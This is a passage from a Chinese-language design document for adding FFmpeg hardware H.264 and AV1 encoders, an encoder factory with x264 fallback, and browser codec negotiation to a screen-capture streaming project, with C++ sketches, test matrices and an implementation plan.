| `CFFmpegH264Encoder.h/.cpp` | 新增(阶段一) | 封装 `h264_nvenc/qsv/amf/mf` |
|
||||||
|
| `CFFmpegAV1Encoder.h/.cpp` | 新增(阶段二) | 封装 `av1_nvenc/qsv/amf` |
|
||||||
|
| `EncoderFactory.h/.cpp` | 新增 | 工厂 + 多后端探测 |
|
||||||
|
| `EncoderProbe.h/.cpp` | 新增 | 启动时一次性探测可用后端,缓存结果 |
|
||||||
|
| `ScreenCapture.h` | 修改 | `m_encoder` 改 `std::unique_ptr<VideoEncoderBase>` |
|
||||||
|
| 握手协议代码 | 修改(阶段二) | 加 `codecs` 能力字段 |
|
||||||
|
| 工程配置 | 修改 | FFmpeg 静态库链接(详见 §5.3) |
|
||||||
|
|
||||||
|
### 6.2 抽象接口定义
|
||||||
|
|
||||||
|
`VideoEncoderBase.h`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
enum class VideoCodec { H264, AV1 };
|
||||||
|
enum class RateControl { CRF, BITRATE };
|
||||||
|
|
||||||
|
struct EncoderParams {
|
||||||
|
int width;
|
||||||
|
int height;
|
||||||
|
int fps;
|
||||||
|
RateControl rc = RateControl::BITRATE;
|
||||||
|
int crf = 23; // 当 rc == CRF 时使用(x264 路径)
|
||||||
|
int bitrate_kbps = 4000; // 当 rc == BITRATE 时使用(硬编路径)
|
||||||
|
int gop_seconds = 4; // 关键帧间隔(秒),编码器内部转 frames
|
||||||
|
};
|
||||||
|
|
||||||
|
class VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
virtual ~VideoEncoderBase() = default;
|
||||||
|
|
||||||
|
virtual bool open(const EncoderParams& params) = 0;
|
||||||
|
virtual void close() = 0;
|
||||||
|
|
||||||
|
virtual int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) = 0;
|
||||||
|
|
||||||
|
virtual void forceIDR() = 0;
|
||||||
|
virtual void setBitrate(int kbps) {} // 默认空实现
|
||||||
|
virtual VideoCodec codec() const = 0;
|
||||||
|
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
设计要点:
|
||||||
|
- **抛弃** `open(w, h, fps, quality)` 的设计 —— `quality` 在 H.264 是 CRF、在硬编是 kbps,语义不清楚是坑
|
||||||
|
- 改用 `EncoderParams` 结构体 + `RateControl` 枚举,明确指定速率控制模式
|
||||||
|
- `backendName()` 返回实际后端名("x264" / "h264_nvenc" / "av1_amf"),调用方可用于日志/监控
|
||||||
|
|
||||||
|
### 6.3 CFFmpegH264Encoder 设计
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
class CFFmpegH264Encoder : public VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
CFFmpegH264Encoder();
|
||||||
|
~CFFmpegH264Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize,
|
||||||
|
int direction = 1) override;
|
||||||
|
|
||||||
|
void forceIDR() override;
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertToNV12(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer;
|
||||||
|
std::vector<uint8_t> m_i420Scratch; // RGB24 路径用
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.1 后端探测顺序
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static const char* kH264Backends[] = {
|
||||||
|
"h264_nvenc", // NVIDIA:质量/速度/稳定性都最好
|
||||||
|
"h264_qsv", // Intel:核显普及度高
|
||||||
|
"h264_amf", // AMD
|
||||||
|
"h264_mf", // Media Foundation 兜底(可选,质量一般)
|
||||||
|
};
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::open(const EncoderParams& p) {
|
||||||
|
for (auto name : kH264Backends) {
|
||||||
|
if (tryOpenBackend(name, p)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.2 各后端参数差异
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) return false;
|
||||||
|
|
||||||
|
m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) return false;
|
||||||
|
|
||||||
|
// 通用参数
|
||||||
|
m_ctx->width = p.width;
|
||||||
|
m_ctx->height = p.height;
|
||||||
|
m_ctx->time_base = {1, p.fps};
|
||||||
|
m_ctx->framerate = {p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * p.gop_seconds;
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
if (strcmp(name, "h264_nvenc") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "zerolatency", "1", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "delay", "0", 0);
|
||||||
|
} else if (strcmp(name, "h264_qsv") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "low_power", 0, 0);
|
||||||
|
} else if (strcmp(name, "h264_amf") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
} else if (strcmp(name, "h264_mf") == 0) {
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "hw_encoding", 1, 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rate_control", "cbr", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (avcodec_open2(m_ctx, codec, nullptr) < 0) return false;
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = p.width;
|
||||||
|
m_frame->height = p.height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) return false;
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.3 encode 实现
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int CFFmpegH264Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
// 像素格式转换(直接用 libyuv,与现有 x264 路径保持一致,不引入 sws_scale)
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
if (bpp == 32) {
|
||||||
|
libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
width, signed_height
|
||||||
|
);
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertToNV12(rgb, bpp, stride, width, height, direction) != 0)
|
||||||
|
return -1;
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_frame->key_frame = 1;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
m_frame->key_frame = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (avcodec_send_frame(m_ctx, m_frame) < 0) return -3;
|
||||||
|
|
||||||
|
int ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
// 首帧延迟正常情况:返回成功但本次无输出
|
||||||
|
*lpSize = 0;
|
||||||
|
*lppData = nullptr;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.4 RGB24 → NV12(libyuv 无直接 API,两步走)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int CFFmpegH264Encoder::convertToNV12(uint8_t* rgb, uint8_t /*bpp*/,
|
||||||
|
uint32_t stride, uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int y_size = width * height;
|
||||||
|
int uv_size = (width / 2) * (height / 2);
|
||||||
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
libyuv::RGB24ToI420(
|
||||||
|
rgb, stride,
|
||||||
|
y, width,
|
||||||
|
u, width / 2,
|
||||||
|
v, width / 2,
|
||||||
|
width, signed_height
|
||||||
|
);
|
||||||
|
libyuv::I420ToNV12(
|
||||||
|
y, width,
|
||||||
|
u, width / 2,
|
||||||
|
v, width / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
width, height
|
||||||
|
);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.4 CFFmpegAV1Encoder 设计
|
||||||
|
|
||||||
|
结构与 `CFFmpegH264Encoder` **完全对称**,仅 backend 名换:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static const char* kAV1Backends[] = {
|
||||||
|
"av1_nvenc", // RTX 40+
|
||||||
|
"av1_amf", // RX 7000+
|
||||||
|
"av1_qsv", // Intel Arc / 部分 11 代+ 核显
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
参数差异(av1_nvenc 与 h264_nvenc 略有不同):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
if (strcmp(name, "av1_nvenc") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
// AV1 特有:tile-columns/rows 可调,多核解码更友好
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "tile-columns", 1, 0);
|
||||||
|
} else if (strcmp(name, "av1_amf") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
} else if (strcmp(name, "av1_qsv") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
实现建议:先把 `CFFmpegH264Encoder` 跑通稳定,**再把它复制改名做 AV1 版本**。同步两个类的逻辑可以后续考虑抽公共基类,但不要为了 DRY 提前抽。
|
||||||
|
|
||||||
|
### 6.5 EncoderFactory 与探测
|
||||||
|
|
||||||
|
`EncoderFactory.h`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
struct ClientCapability {
|
||||||
|
bool supportAV1 = false;
|
||||||
|
bool supportH264 = true; // 假定都支持
|
||||||
|
};
|
||||||
|
|
||||||
|
struct EncoderRequest {
|
||||||
|
int width, height, fps;
|
||||||
|
int bitrate_kbps;
|
||||||
|
ClientCapability client;
|
||||||
|
};
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
|
||||||
|
```
|
||||||
|
|
||||||
|
`EncoderFactory.cpp`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#include "EncoderFactory.h"
|
||||||
|
#include "EncoderProbe.h"
|
||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "X264Encoder.h"
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
|
||||||
|
EncoderParams p;
|
||||||
|
p.width = req.width;
|
||||||
|
p.height = req.height;
|
||||||
|
p.fps = req.fps;
|
||||||
|
|
||||||
|
// 1. AV1 路径(仅当客户端支持且启动探测确认硬件可用)
|
||||||
|
if (req.client.supportAV1 && EncoderProbe::HasAV1Hw()) {
|
||||||
|
auto enc = std::make_unique<CFFmpegAV1Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: AV1 backend=%s", enc->backendName());
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
LOG_WARN("encoder: AV1 open failed, falling back to H.264");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. H.264 硬编路径
|
||||||
|
if (EncoderProbe::HasH264Hw()) {
|
||||||
|
auto enc = std::make_unique<CFFmpegH264Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: H264-HW backend=%s", enc->backendName());
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
LOG_WARN("encoder: H264 HW open failed, falling back to x264");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. H.264 软编兜底(始终可用)
|
||||||
|
{
|
||||||
|
auto enc = std::make_unique<CX264Encoder>();
|
||||||
|
p.rc = RateControl::CRF;
|
||||||
|
p.crf = BitRateToCRF(req.bitrate_kbps);
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: H264-SW (libx264)");
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG_ERROR("encoder: all backends failed");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
要点:
|
||||||
|
- **不要**引入会话池(`HEVCSessionPool` 那套)—— 个人项目场景下不需要
|
||||||
|
- NVENC session 限制由 FFmpeg 自己报错,工厂捕获后自动降级
|
||||||
|
- 失败路径都打日志,方便定位
|
||||||
|
|
||||||
|
### 6.6 启动时一次性后端探测
|
||||||
|
|
||||||
|
避免每个新连接都重复尝试每个 backend:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// EncoderProbe.h
|
||||||
|
class EncoderProbe {
|
||||||
|
public:
|
||||||
|
static void RunOnce(); // 程序启动时调用一次
|
||||||
|
static bool HasAV1Hw();
|
||||||
|
static bool HasH264Hw();
|
||||||
|
static const char* PreferredAV1Backend(); // 第一个能用的 AV1 后端名
|
||||||
|
static const char* PreferredH264Backend();
|
||||||
|
};
|
||||||
|
|
||||||
|
// EncoderProbe.cpp 实现思路:
|
||||||
|
// 对每个候选后端尝试 alloc_context → open2 → free
|
||||||
|
// 用最低分辨率(如 640x480 @30fps)减少探测开销
|
||||||
|
// 结果缓存在静态变量,加 std::once_flag 保证线程安全
|
||||||
|
```
|
||||||
|
|
||||||
|
启动时探测 1 次,运行时 `CreateEncoder` 直接读结果。
|
||||||
|
|
||||||
|
### 6.7 ScreenCapture.h 改造
|
||||||
|
|
||||||
|
**当前**(`client/ScreenCapture.h:148, 926-930, 956-960`):
|
||||||
|
```cpp
|
||||||
|
CX264Encoder* m_encoder;
|
||||||
|
// ...
|
||||||
|
m_encoder = new CX264Encoder();
|
||||||
|
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||||
|
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
||||||
|
```
|
||||||
|
|
||||||
|
**改造后**:
|
||||||
|
```cpp
|
||||||
|
std::unique_ptr<VideoEncoderBase> m_encoder;
|
||||||
|
ClientCapability m_clientCap; // 握手阶段填入
|
||||||
|
// ...
|
||||||
|
if (!m_encoder) {
|
||||||
|
EncoderRequest req{
|
||||||
|
(int)width, (int)height, 20,
|
||||||
|
m_nBitRate > 0 ? m_nBitRate : (int)(width * height / 1266),
|
||||||
|
m_clientCap
|
||||||
|
};
|
||||||
|
m_encoder = CreateEncoder(req);
|
||||||
|
if (!m_encoder) return nullptr;
|
||||||
|
}
|
||||||
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height,
|
||||||
|
&encoded_data, &encoded_size);
|
||||||
|
```
|
||||||
|
|
||||||
|
注意:两处 `new CX264Encoder()` 提取成一个 `ensureEncoder()` 私有方法,避免重复。
|
||||||
|
|
||||||
|
### 6.8 协议握手(阶段二)
|
||||||
|
|
||||||
|
客户端浏览器 WebSocket 连接时上报:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "client_capability",
|
||||||
|
"codecs": ["av1", "h264"]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
浏览器端探测脚本(JS):
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
async function probeBrowserCodecs() {
|
||||||
|
const codecs = [];
|
||||||
|
if (typeof VideoDecoder !== 'undefined') {
|
||||||
|
// AV1 Main Profile, Level 4.0, 8-bit
|
||||||
|
const av1 = await VideoDecoder.isConfigSupported({ codec: 'av01.0.04M.08' });
|
||||||
|
if (av1.supported) codecs.push('av1');
|
||||||
|
}
|
||||||
|
codecs.push('h264'); // 兜底假定支持,<video> 标签也支持
|
||||||
|
return codecs;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**向后兼容**:老版本客户端不发 `codecs` 字段 → 服务端按 H.264 处理。`ClientCapability::supportAV1` 默认 false。
|
||||||
|
|
||||||
|
可参考 `docs/hevc_browser_decode_test.html`(改造一份 AV1 版本)做浏览器解码端到端验证。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 像素格式与转换
|
||||||
|
|
||||||
|
保持与现有 x264 路径完全一致的做法:
|
||||||
|
|
||||||
|
- **硬编内部格式**:`AV_PIX_FMT_NV12`(NVENC/QSV/AMF 通用)
|
||||||
|
- **转换库**:libyuv(不引入 `sws_scale`)
|
||||||
|
- **BGRA → NV12**:`libyuv::ARGBToNV12` 直接
|
||||||
|
- **RGB24 → NV12**:libyuv 无直接 API,分两步 RGB24 → I420 → NV12
|
||||||
|
- **direction 参数**:沿用现有 `X264Encoder.cpp:136` 的写法(`direction * height` 作为乘子)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 测试要求
|
||||||
|
|
||||||
|
### 8.1 单元测试
|
||||||
|
|
||||||
|
- `VideoEncoderBase` 各实现的 `open / encode / close` 生命周期
|
||||||
|
- `CFFmpegH264Encoder` 在缺失各后端时降级到下一个
|
||||||
|
- `EncoderFactory` 在不同 `ClientCapability` × 硬件能力 矩阵下返回正确后端
|
||||||
|
- `EncoderProbe::RunOnce()` 在不同 GPU 上的结果一致性
|
||||||
|
|
||||||
|
### 8.2 集成测试
|
||||||
|
|
||||||
|
| 场景 | 期望 |
|
||||||
|
|---|---|
|
||||||
|
| 客户端支持 AV1 + 编码端 RTX 40 | 使用 AV1(`av1_nvenc`) |
|
||||||
|
| 客户端支持 AV1 + 编码端 GTX 1080 | 降级 H.264 硬编(`h264_nvenc`) |
|
||||||
|
| 客户端不支持 AV1 + 编码端任意 | H.264(硬编优先) |
|
||||||
|
| 编码端无 GPU / 虚拟机 | x264 软编 |
|
||||||
|
| 编码端集显 + 独显 | 优先级中第一个成功的后端 |
|
||||||
|
| 中途客户端能力变化 | 当前连接不变;下次握手按新能力 |
|
||||||
|
| H264 硬编创建失败 | 自动回落 x264 软编,连接不断 |
|
||||||
|
|
||||||
|
### 8.3 硬件验证矩阵
|
||||||
|
|
||||||
|
| 编码端 | 客户端浏览器 | 期望 |
|
||||||
|
|---|---|---|
|
||||||
|
| RTX 40 / 50 | Chrome / Firefox / Edge | AV1 |
|
||||||
|
| GTX 10/16 / RTX 20/30 | Chrome / Firefox / Edge | H.264 NVENC |
|
||||||
|
| Intel Arc | Chrome / Firefox | AV1(`av1_qsv`) |
|
||||||
|
| Intel 12 代+ 核显 | Chrome / Firefox | H.264 QSV |
|
||||||
|
| AMD RX 7000+ | Chrome / Firefox | AV1(`av1_amf`) |
|
||||||
|
| AMD 老卡 | Chrome / Firefox | H.264 AMF |
|
||||||
|
| 虚拟机 / 远程桌面会话 | 任意 | x264 软编 |
|
||||||
|
| iOS Safari < 17 | 任意编码端 | H.264 |
|
||||||
|
| iOS Safari ≥ 17(A17 Pro+) | 任意编码端 | AV1 优先 |
|
||||||
|
|
||||||
|
### 8.4 体积验证
|
||||||
|
|
||||||
|
- exe 体积增量 < 12 MB(vcpkg 静态链接,含 AV1+H264 全后端)
|
||||||
|
- 若超出明显,检查 vcpkg feature 是否引入了不需要的 codec
|
||||||
|
|
||||||
|
### 8.5 回归测试(关键)
|
||||||
|
|
||||||
|
每一步改造后必须验证:
|
||||||
|
- 现有 x264 软编通路完全可用(在禁用所有硬编后端的环境下)
|
||||||
|
- 现有客户端(不发 `codecs` 字段)可正常工作
|
||||||
|
- 编码码流向后兼容,老客户端能解
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 已知风险与注意事项
|
||||||
|
|
||||||
|
### 9.1 多 GPU 跨适配器
|
||||||
|
笔记本集显+独显场景,FFmpeg 默认走主显卡。可能报 "failed to create device"。**Catch 后回落到下一个后端**,不要直接终止。
|
||||||
|
|
||||||
|
### 9.2 第一帧延迟
|
||||||
|
FFmpeg 硬编可能在首次 `send_frame` 后 `receive_packet` 返回 `EAGAIN`。调用方代码必须能处理 `*lpSize == 0` 的情况(返回 0 表示成功但本次无输出)。`ScreenCapture::GetNextScreenData` 当前 `encoded_size == 0` 会怎么处理需要确认。
|
||||||
|
|
||||||
|
### 9.3 NVENC session 数限制
|
||||||
|
NVIDIA **消费级**卡(GeForce)有 NVENC session 上限(驱动 522.25+ 起 3 个,更新版可能放宽到 5)。多连接超限时 `open` 失败 → 工厂自动降级到 QSV/AMF/x264。**不要做"会话池"提前拦截** —— 让 FFmpeg 自己报错,工厂处理。
|
||||||
|
|
||||||
|
### 9.4 浏览器解 AV1 的硬件依赖
|
||||||
|
- 桌面 Chrome/Firefox/Edge:软解兜底(CPU 占用高,但能用)
|
||||||
|
- 移动端:iPhone 15 Pro+ / M3+ 才有 AV1 硬解,老设备只能软解(可能卡)
|
||||||
|
- `isConfigSupported` 报 true 不等于跑得流畅。**建议握手时也带上设备类型**,弱设备强制走 H.264
|
||||||
|
|
||||||
|
### 9.5 LGPL 静态链接合规
|
||||||
|
个人项目暂搁置。商用前需法务确认(FFmpeg 源代码提供、重新链接能力等)。
|
||||||
|
|
||||||
|
### 9.6 配置项(建议)
|
||||||
|
|
||||||
|
建议做成 INI/JSON:
|
||||||
|
```
|
||||||
|
encoder.prefer_av1 = true
|
||||||
|
encoder.h264.bitrate_default = 4000 (kbps)
|
||||||
|
encoder.fallback_to_x264 = true
|
||||||
|
encoder.probe_at_startup = true
|
||||||
|
encoder.disable_h264_mf = true (h264_mf 质量一般,可禁用)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.7 日志要求
|
||||||
|
|
||||||
|
关键路径必须有日志:
|
||||||
|
- 启动探测结果:每个后端是否可用 + 失败原因(`av_err2str`)
|
||||||
|
- 每个连接选定的 `codec` + `backend`(INFO)
|
||||||
|
- 后端打开失败 + 回落(WARN)
|
||||||
|
- 编码过程中的异常(ERROR)
|
||||||
|
|
||||||
|
### 9.8 线程安全
|
||||||
|
- 每个编码器实例不跨线程
|
||||||
|
- `EncoderProbe` 单例首次初始化加 `std::once_flag`
|
||||||
|
- FFmpeg 新版本不需要全局初始化(`av_register_all` 已废弃)
|
||||||
|
|
||||||
|
### 9.9 与现有 `DISABLE_X264_FOR_TEST` 编译开关协同
|
||||||
|
项目已有 `DISABLE_X264_FOR_TEST` 宏(见 `X264Encoder.cpp:5`)和最近 `c0a632a` 提交"Compliance: Add building option to disable x264 and ffmpeg"。新代码须遵循同样的可禁用约定:
|
||||||
|
- `ENABLE_HW_ENCODER` 关闭时整个 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` 编译为空实现或不参与链接
|
||||||
|
- 工厂在该宏关闭时直接返回 `CX264Encoder`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 实现顺序建议
|
||||||
|
|
||||||
|
**每一步独立可合入**,每一步完成后 x264 通路必须可用、客户端无感知。
|
||||||
|
|
||||||
|
### Step 0:抽象层(零功能改动)
|
||||||
|
1. 新建 `VideoEncoderBase.h`,定义接口 + `EncoderParams` + `RateControl`
|
||||||
|
2. `CX264Encoder` 改造继承 `VideoEncoderBase`:
|
||||||
|
- 新增 `forceIDR()`(设置一个标志,下次 encode 时通过 `x264_picture_t::i_type = X264_TYPE_IDR`)
|
||||||
|
- 实现 `codec()` 返回 `H264`
|
||||||
|
- 实现 `backendName()` 返回 `"x264"`
|
||||||
|
- 旧 `open(w, h, fps, crf)` 签名保留,转调新的 `open(EncoderParams)`
|
||||||
|
3. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`,但仍直接 `new CX264Encoder`
|
||||||
|
4. **不引 FFmpeg、不引工厂**
|
||||||
|
5. 验证:H.264 通路完全不变,对外行为零变化
|
||||||
|
|
||||||
|
### Step 1:FFmpeg 集成 + `h264_nvenc` 单后端
|
||||||
|
1. vcpkg 安装 `ffmpeg[core,nvcodec]:x64-windows-static-md`
|
||||||
|
2. 工程添加包含目录 / 库目录 / 系统库
|
||||||
|
3. 新建 `CFFmpegH264Encoder`,仅实现 `h264_nvenc`
|
||||||
|
4. 在 `ScreenCapture` 加临时开关:硬编码切到 `CFFmpegH264Encoder` 跑一下
|
||||||
|
5. 用浏览器解码 demo 验证码流能解
|
||||||
|
6. 体积验证(应 +4–6 MB)
|
||||||
|
|
||||||
|
### Step 2:扩展 H.264 硬编后端
|
||||||
|
1. `CFFmpegH264Encoder` 加 `h264_qsv` / `h264_amf` 探测
|
||||||
|
2. 顺序:`nvenc → qsv → amf`(`mf` 可暂不接)
|
||||||
|
3. 不同后端的参数适配(见 §6.3.2)
|
||||||
|
4. 测试 Intel 核显 + AMD 卡
|
||||||
|
|
||||||
|
### Step 3:工厂 + 软编兜底
|
||||||
|
1. 新建 `EncoderFactory` / `EncoderProbe`
|
||||||
|
2. 工厂按 `H264 硬编 → x264 软编` 顺序
|
||||||
|
3. `ScreenCapture` 改用工厂(消除两处 `new CX264Encoder`)
|
||||||
|
4. 测试无 GPU 环境降级到 x264
|
||||||
|
|
||||||
|
### Step 4:AV1 路径(独立闭环)
|
||||||
|
